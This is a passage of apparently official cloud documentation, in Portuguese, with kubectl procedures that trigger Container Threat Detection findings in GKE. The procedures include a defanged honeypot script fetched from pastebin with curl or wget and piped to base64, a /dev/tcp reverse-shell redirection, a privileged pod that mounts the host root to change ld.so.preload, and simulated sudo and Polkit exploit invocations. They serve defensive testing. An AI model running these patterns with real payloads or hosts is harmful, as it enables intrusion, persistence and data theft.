com um argumento que seja um arquivo que termine
com a extensão .so
. Este exemplo usa a imagem mais recente do Ubuntu 24.04. O utilitário
/bin/ls
é copiado e renomeado como /tmp/openssl
. Esse binário renomeado é
executado com os argumentos de arquivo engine
e .so
falsos. A execução de
openssl engine
com um arquivo .so
é sinalizada como suspeita porque imita
o comportamento de um objeto compartilhado sendo carregado para executar código malicioso.
Use o Cloud Shell para acessar o plano de controle do cluster:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT
Execute um binário com capacidade de rede, como
curl
, com uma variável de ambiente de proxy HTTP não permitida:Nó x86:
tag="ktd-test-program-with-http-proxy-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- bash -c \ "cp /bin/ls /tmp/openssl; openssl engine /tmp/fakelib.so"
Nó ARM:
tag="ktd-test-program-with-http-proxy-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- bash -c \ "cp /bin/ls /tmp/openssl; openssl engine /tmp/fakelib.so"
Este procedimento de teste vai criar uma descoberta de Execution: Suspicious OpenSSL Shared Object Loaded
que pode ser visualizada no Security Command Center e
no Cloud Logging se você tiver configurado o Logging para
o Container Threat Detection. A visualização de descobertas no Cloud Logging só estará disponível se você ativar o nível Premium ou Enterprise do Security Command Center.
Exfiltração: iniciar ferramentas de cópia de arquivos remotos no contêiner
Para acionar uma descoberta de Exfiltration: Launch Remote File Copy Tools In Container
, execute uma ferramenta comum de cópia de arquivos remotos em um contêiner. Este exemplo usa a imagem mais recente do Ubuntu 24.04. O utilitário /bin/ls
é copiado e renomeado
como /tmp/rsync
e executado para recuperar um arquivo de uma fonte remota, potencialmente
maliciosa. A execução de uma ferramenta desse tipo com argumentos de recuperação de arquivos remotos em um contêiner é sinalizada como suspeita, já que pode indicar uma tentativa de baixar e executar código malicioso ou exfiltrar dados.
Use o Cloud Shell para acessar o plano de controle do cluster:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT
Execute uma ferramenta de cópia de arquivo remoto, como
rsync
:Nó x86:
tag="ktd-test-launch-remote-file-copy-tools-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- bash -c \ "cp /bin/ls /tmp/rsync; /tmp/rsync"
Nó ARM:
tag="ktd-test-launch-remote-file-copy-tools-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- bash -c \ "cp /bin/ls /tmp/rsync; /tmp/rsync"
Este procedimento de teste criará uma descoberta de Exfiltration: Launch Remote File Copy Tools
In Container
que pode ser visualizada no Security Command Center e no Cloud Logging se você tiver configurado o Logging para Container Threat Detection. A visualização de descobertas no Cloud Logging só estará disponível se você ativar o nível Premium ou Enterprise do Security Command Center.
Impacto: detectar Cmdlines maliciosas
Para acionar uma descoberta de Impact: Detect Malicious Cmdlines
(prévia), a execução de uma linha de comando com padrões ou argumentos maliciosos conhecidos precisa ser observada em um contêiner. Este exemplo usa a imagem mais recente do Ubuntu 24.04. Ele
envolve copiar o binário /bin/ls
e renomear essa cópia como ipfs
. O binário renomeado é executado. Esse comportamento é sinalizado como suspeito porque
pode indicar uma tentativa de executar código malicioso ou burlar controles de
segurança.
Use o Cloud Shell para acessar o plano de controle do cluster:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT
Execute um binário como
ipfs
:Nó x86:
tag="ktd-test-detect-malicious-cmdlines-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- bash -c \ "cp /bin/ls /tmp/ipfs; /tmp/ipfs"
Nó ARM:
tag="ktd-test-detect-malicious-cmdlines-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- bash -c \ "cp /bin/ls /tmp/ipfs; /tmp/ipfs"
Este procedimento de teste cria uma descoberta Impact: Detect Malicious Cmdlines
que pode ser vista no Security Command Center e no Cloud Logging se
você tiver configurado o Logging para Container Threat Detection. A visualização de descobertas no Cloud Logging só estará disponível se você ativar o nível Premium ou Enterprise do Security Command Center.
Impacto: remover dados em massa do disco
Para acionar uma descoberta de Impact: Remove Bulk Data From Disk
, coloque um binário
capaz de excluir ou substituir dados no contêiner e execute-o. Este exemplo usa a imagem mais recente do Ubuntu 24.04. Isso envolve copiar o binário /bin/ls
e renomear essa cópia como shred
ou um utilitário semelhante projetado para
exclusão segura de arquivos. Em seguida, o binário renomeado é executado. Essa ação é sinalizada como suspeita porque imita o comportamento comum quando há tentativas de remover grandes quantidades de dados de um disco em um ambiente em contêineres.
Use o Cloud Shell para acessar o plano de controle do cluster:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT
Introduza um binário de exclusão de arquivo ou dados, como
shred
, e execute-o:Nó x86:
tag="ktd-test-remove-bulk-data-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- bash -c \ "cp /bin/ls /tmp/shred; /tmp/shred"
Nó ARM:
tag="ktd-test-remove-bulk-data-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- bash -c \ "cp /bin/ls /tmp/shred; /tmp/shred"
Este procedimento de teste vai criar uma descoberta de Impact: Remove Bulk Data From Disk
que pode ser visualizada no Security Command Center e no Cloud Logging se
você tiver configurado o Logging para Container Threat Detection. A visualização de descobertas no Cloud Logging só estará disponível se você ativar o nível Premium ou Enterprise do Security Command Center.
Impacto: atividade suspeita de mineração de criptomoedas usando o protocolo Stratum
Para acionar uma descoberta de Impact: Suspicious crypto mining activity using the Stratum
Protocol
, um binário precisa ser executado em um contêiner com
argumentos semelhantes aos usados por softwares de mineração de criptomoedas que se comunicam usando
o protocolo Stratum. O exemplo usa a imagem mais recente do Ubuntu 24.04. Ele copia
/bin/ls
e renomeia essa cópia para um binário simulado (presumivelmente para simular um
minerador de criptomoedas). O binário renomeado é executado com argumentos que incluem
stratum+tcp
ou indicadores semelhantes do protocolo Stratum. Essa atividade é sinalizada como suspeita porque imita os padrões de comunicação de rede de software de mineração de criptomoedas em ambientes em contêineres.
Use o Cloud Shell para acessar o plano de controle do cluster:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT
Introduza um utilitário binário como
curl
e execute-o com argumentos semelhantes aos usados por softwares de mineração de criptomoedas que se comunicam usando o protocolo Stratum:Nó x86:
tag="ktd-test-detect-crypto-using-stratum-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- bash -c \ "cp /bin/ls /tmp/curl; /tmp/curl --url=stratum+tcp"
Nó ARM:
tag="ktd-test-detect-crypto-using-stratum-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- bash -c \ "cp /bin/ls /tmp/curl; /tmp/curl --url=stratum+tcp"
Este procedimento de teste criará uma descoberta de Impact: Suspicious crypto mining activity
using the Stratum Protocol
que pode ser visualizada no Security Command Center e no Cloud Logging se você tiver configurado o Logging para detecção de ameaças do contêiner. A visualização de descobertas no Cloud Logging só estará disponível se você ativar o nível Premium ou Enterprise do Security Command Center.
Também é possível encontrar outra descoberta para o comando bash
executado neste teste. Esse comportamento é normal. Ignore a descoberta adicional.
Script malicioso executado
Para acionar uma descoberta de script malicioso, execute o script no procedimento a seguir no seu contêiner.
O procedimento implanta a imagem mais recente do Ubuntu 24.04, copia um script que parece malicioso e o executa. Para acionar uma detecção, um script precisa aparecer como malicioso para o detector.
Use o Cloud Shell para acessar o plano de controle do cluster:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT
Execute o script a seguir em um novo contêiner.
Esse script inline do Bourne shell se originou de um honeypot. No entanto, ele foi modificado para não executar o binário malicioso. Portanto, a execução do script não causará atividade mal-intencionada no seu contêiner. O binário no URL referenciado pode ter sido removido, e tentar acessar o URL vai resultar em um erro 404. Isso já é esperado. A tentativa de baixar, decodificar e executar um binário usando um script inline é o que aciona a detecção.
Nó x86:
tag="ktd-test-malicious-script-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- sh -c \ "(curl -fsSL https://pastebin.com/raw/KGwfArMR||wget -q -O - https://pastebin.com/raw/KGwfArMR)| base64 -d"
Nó ARM:
tag="ktd-test-malicious-script-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- sh -c \ "(curl -fsSL https://pastebin.com/raw/KGwfArMR||wget -q -O - https://pastebin.com/raw/KGwfArMR)| base64 -d"
Este procedimento de teste cria uma descoberta de script malicioso executado que você pode ver no Security Command Center e no Cloud Logging se tiver configurado a geração de registros para o Container Threat Detection. A visualização de descobertas no Cloud Logging só estará disponível se você ativar o nível Premium ou Enterprise do Security Command Center.
URL malicioso observado
Para acionar uma descoberta de URL malicioso observado, execute um binário e forneça um URL malicioso como um argumento.
O exemplo a seguir implanta uma imagem do Ubuntu 24.04
e executa /bin/curl
para acessar um exemplo de URL do malware do
serviço
Navegação segura.
Use o Cloud Shell para acessar o plano de controle do cluster:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT
Execute
curl
e forneça um URL malicioso como um argumento:Nó x86:
tag="ktd-test-malicious-url-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" url="https://testsafebrowsing.appspot.com/s/malware.html" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- sh -c "apt update; apt --yes install curl; curl $url | cat"
Nó ARM:
tag="ktd-test-malicious-url-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" url="https://testsafebrowsing.appspot.com/s/malware.html" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- sh -c "apt update; apt --yes install curl; curl $url | cat"
Este procedimento de teste aciona uma descoberta de URL malicioso observado que você pode ver no Security Command Center e, se você tiver configurado o Logging para o Container Threat Detection, no Cloud Logging. A visualização de descobertas no Cloud Logging só estará disponível se você ativar o nível Premium ou Enterprise do Security Command Center no nível da organização.
Persistência: modificar ld.so.preload (pré-lançamento)
Para acionar uma detecção de modificação de ld.so.preload
, modifique o arquivo
/etc/ld.so.preload
do host. Este exemplo implanta a imagem mais recente do Ubuntu 24.04,
ativando o sistema de arquivos raiz do host no contêiner e atualizando
/etc/ld.so.preload
.
Esse é um detector de monitoramento de arquivos e tem requisitos específicos de versão do GKE.
Use o Cloud Shell para acessar o plano de controle do cluster:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT
Execute um binário que modifique o arquivo
/etc/ld.so.preload
do host.Nó x86:
tag="ktd-test-ld-preload-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never --rm=true -ti --image ubuntu "$tag"\ --overrides='{"apiVersion": "v1", "spec": { "containers":[{"command": ["/bin/touch", "/host/etc/ld.so.preload"], "name": "'$tag'", "image": "marketplace.gcr.io/google/ubuntu2404:latest", "securityContext": {"privileged": true}, "volumeMounts":[{"mountPath": "/host/", "name": "host-mount", "readOnly": false}]}], "volumes": [{"name": "host-mount","hostPath": {"path": "/"}}]}}'
Nó ARM:
tag="ktd-test-ld-preload-arm-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never --rm=true -ti --image ubuntu "$tag"\ --overrides='{"apiVersion": "v1", "spec": { "containers":[{"command": ["/bin/touch", "/host/etc/ld.so.preload"], "name": "'$tag'", "image": "marketplace.gcr.io/google/ubuntu2404:latest", "securityContext": {"privileged": true}, "volumeMounts":[{"mountPath": "/host/", "name": "host-mount", "readOnly": false}]}], "volumes": [{"name": "host-mount","hostPath": {"path": "/"}}], "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[{ "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" }] }}'
Este procedimento de teste aciona uma descoberta de modificação de ld.so.preload
que
pode ser vista no Security Command Center e, se você tiver configurado o
Logging para Container Threat Detection, no Cloud Logging. A visualização de descobertas no Cloud Logging só estará disponível se você ativar o nível Premium ou Enterprise do Security Command Center no nível da organização.
Escalonamento de privilégios: abuso do sudo para escalonamento de privilégios (CVE-2019-14287)
Para acionar uma descoberta de Privilege Escalation: Abuse of Sudo For Privilege Escalation (CVE-2019-14287)
, execute o binário sudo
com o parâmetro -u#-1
. Este exemplo
copia o binário /bin/ls
para imitar o binário sudo
e o executa com o parâmetro
especificado.
Use o Cloud Shell para acessar o plano de controle do cluster:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT
Inicie um binário com redirecionamento
/bin/echo
para o DNS público do Google:Nó x86:
tag="ktd-test-abuse-sudo-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- bash -c \ "cp /bin/ls /tmp/sudo; /tmp/sudo -u#-1; sleep 10"
Nó ARM:
tag="ktd-test-abuse-sudo-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- bash -c \ "cp /bin/ls /tmp/sudo; /tmp/sudo -u#-1; sleep 10"
Este procedimento de teste cria uma descoberta Privilege Escalation: Abuse of Sudo For Privilege Escalation (CVE-2019-14287)
que pode ser vista no Security Command Center e no Cloud Logging, se você tiver
configurado o Logging para Container Threat Detection. A visualização de descobertas no Cloud Logging só estará disponível se você ativar o nível Premium ou Enterprise do Security Command Center no nível da organização.
Escalonamento de privilégios: execução sem arquivos em /dev/shm
Para acionar uma descoberta de Privilege Escalation: Fileless Execution in /dev/shm
,
um processo precisa ser executado no sistema de arquivos na memória /dev/shm.
Este exemplo usa a imagem mais recente do Ubuntu 24.04. O utilitário /bin/echo
é
copiado para /dev/shm/echo
. Em seguida, o binário renomeado é executado.
A execução de um arquivo em /dev/shm
é sinalizada como suspeita porque imita o comportamento de um objeto tentando executar na memória para evitar detecções baseadas em arquivos.
Use o Cloud Shell para acessar o plano de controle do cluster:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT
Crie um contêiner com privilégios e abra o bash para executar comandos:
Nó x86:
tag="ktd-test-fileless-dev-shm-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -it \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"spec": {"containers": [{"name": "ktd-test-fileless-dev-shm", "image": "marketplace.gcr.io/google/ubuntu2404:latest", "tty":true, "stdin":true, "securityContext": {"privileged": true}}]}}' \ "$tag" -- bash
Nó ARM:
tag="ktd-test-fileless-dev-shm-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -it \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "containers": [{"name": "ktd-test-fileless-dev-shm", "image": "marketplace.gcr.io/google/ubuntu2404:latest", "tty":true, "stdin":true, "securityContext": {"privileged": true}}], "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- bash
Copie
echo
para/dev/shm
e torne-o executável usandochmod
cp /bin/echo /dev/shm chmod 777 /dev/shm/echo
Remonte o
/dev/shm
para ativar a execuçãomount -o remount,exec /dev/shm
Executar
echo
de/dev/shm
/dev/shm/echo "Hello from /dev/shm"
Este procedimento de teste vai criar uma descoberta de Privilege Escalation: Fileless Execution in /dev/shm
que pode ser visualizada no Security Command Center e
no Cloud Logging se você tiver configurado o Logging para
o Container Threat Detection. A visualização de descobertas no Cloud Logging só estará disponível se você ativar o nível Premium ou Enterprise do Security Command Center.
Escalonamento de privilégios: vulnerabilidade de escalonamento de privilégios locais do Polkit (CVE-2021-4034)
Para acionar uma descoberta de Privilege Escalation: Polkit Local Privilege Escalation Vulnerability (CVE-2021-4034)
, execute um binário pkexec
com a variável de ambiente GCONV_PATH
definida
como um usuário não raiz. Este exemplo copia o binário /bin/ls
para imitar o binário pkexec
e o executa com o parâmetro especificado como ID de usuário 1000.
Use o Cloud Shell para acessar o plano de controle do cluster:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT
Inicie um binário com redirecionamento
/bin/echo
para o DNS público do Google:Nó x86:
tag="ktd-test-polkit-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "securityContext": { "runAsUser": 1000 }}}' \ "$tag" -- bash -c \ "cp /bin/ls /tmp/pkexec; GCONV_PATH=junk /tmp/pkexec; sleep 10"
Nó ARM:
tag="ktd-test-polkit-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "securityContext": { "runAsUser": 1000 }, "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- bash -c \ "cp /bin/ls /tmp/pkexec; GCONV_PATH=junk /tmp/pkexec; sleep 10"
Este procedimento de teste cria uma descoberta Privilege Escalation: Polkit Local Privilege Escalation Vulnerability (CVE-2021-4034)
que pode ser vista no Security Command Center e no Cloud Logging, se você tiver
configurado o Logging para Container Threat Detection. A visualização de descobertas no Cloud Logging só estará disponível se você ativar o nível Premium ou Enterprise do Security Command Center no nível da organização.
Escalonamento de privilégios: possível escalonamento de privilégios do sudo (CVE-2021-3156)
Para acionar uma descoberta de Privilege Escalation: Sudo Potential Privilege Escalation (CVE-2021-3156)
, execute o binário sudo
como um usuário não raiz com o parâmetro -s
e um parâmetro que termina com o binário \`. This example copies the
/bin/lsbinary to
imitate the
sudo` e o executa com os parâmetros especificados.
Use o Cloud Shell para acessar o plano de controle do cluster:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT
Inicie um binário com redirecionamento
/bin/echo
para o DNS público do Google:Nó x86:
tag="ktd-test-sudo-potential-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "securityContext": { "runAsUser": 1000 }}}' \ "$tag" -- bash -c \ 'cp /bin/ls /tmp/sudo; /tmp/sudo -s "123\\"; sleep 10'
Nó ARM:
tag="ktd-test-sudo-potential-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "securityContext": { "runAsUser": 1000 }, "nodeSelector": { "kubernetes.io/arch":"arm64" }, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- bash -c \ 'cp /bin/ls /tmp/sudo; /tmp/sudo -s "123\\"; sleep 10'
Este procedimento de teste cria uma descoberta Privilege Escalation: Sudo Potential Privilege Escalation (CVE-2021-3156)
que pode ser vista no Security Command Center e no Cloud Logging, se você tiver
configurado o Logging para Container Threat Detection. A visualização de descobertas no Cloud Logging só estará disponível se você ativar o nível Premium ou Enterprise do Security Command Center no nível da organização.
Shell reverso
Para acionar uma descoberta de shell reverso, inicie um binário com redirecionamento stdin
para um
soquete conectado TCP. Neste exemplo, /bin/echo
é copiado para /tmp/sh
e
/tmp/sh
é iniciado com redirecionamento para o DNS público do Google
8.8.8.8
na porta DNS. Nada é impresso quando você executa este exemplo. Para
evitar qualquer injeção de código externo por meio de um ataque intermediário (MITM),
este exemplo não usa o binário /bin/sh
.
Use o Cloud Shell para acessar o plano de controle do cluster:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT
Inicie um binário com redirecionamento
/bin/echo
para o DNS público do Google:Nó x86:
tag="ktd-test-reverse-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- bash -c \ "cp /bin/echo /tmp/sh; /tmp/sh >& /dev/tcp/8.8.8.8/53 0>&1"
Nó ARM:
tag="ktd-test-reverse-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- bash -c \ "cp /bin/echo /tmp/sh; /tmp/sh >& /dev/tcp/8.8.8.8/53 0>&1"
Este procedimento de teste criará uma descoberta de shell reverso que pode ser vista no Security Command Center e no Cloud Logging, se você tiver configurado o Logging para Container Threat Detection. A visualização de descobertas no Cloud Logging só estará disponível se você ativar o nível Premium ou Enterprise do Security Command Center no nível da organização.
Shell filho inesperado
Para testar o detector Unexpected Child Shell
, crie uma árvore de processos que inclua um processo de shell filho.
O exemplo a seguir cria uma árvore de processo consul->dash
, que pode ser detectada pelo detector Unexpected Child Shell
. Esse teste é seguro porque usa apenas binários integrados. Este exemplo faz o seguinte:
- Cria uma cópia do processo
sh
e a nomeia comoconsul
. - Copia o processo
echo
e o nomeia comodash
. - Invoca o processo
dash
copiado no processoconsul
copiado.
Para acionar uma descoberta de Unexpected Child Shell
, faça o seguinte:
Use o Cloud Shell para acessar o plano de controle do cluster:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT
Use o processo
consul
simulado para invocar um shell simulado:Nó x86:
tag="ktd-test-unexpected-child-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -ti \ --image ubuntu "$tag" \ --command -- /bin/sh -c \ 'cp /bin/sh /tmp/consul; cp /bin/echo /tmp/sh; \ /tmp/consul -c "/tmp/sh child ran successfully & wait"'
Nó ARM:
tag="ktd-test-unexpected-child-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -ti \ --image ubuntu \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" --command -- /bin/sh -c \ 'cp /bin/sh /tmp/consul; cp /bin/echo /tmp/sh; \ /tmp/consul -c "/tmp/sh child ran successfully & wait"'
Esse procedimento de teste cria uma descoberta Unexpected Child Shell
que pode ser
visualizada no Security Command Center. Se o Logging estiver configurado para o Container Threat Detection e você tiver o Security Command Center Premium ou Enterprise ativado no nível da organização, também será possível ver a descoberta no Cloud Logging.
A seguir
- Saiba como usar o Container Threat Detection.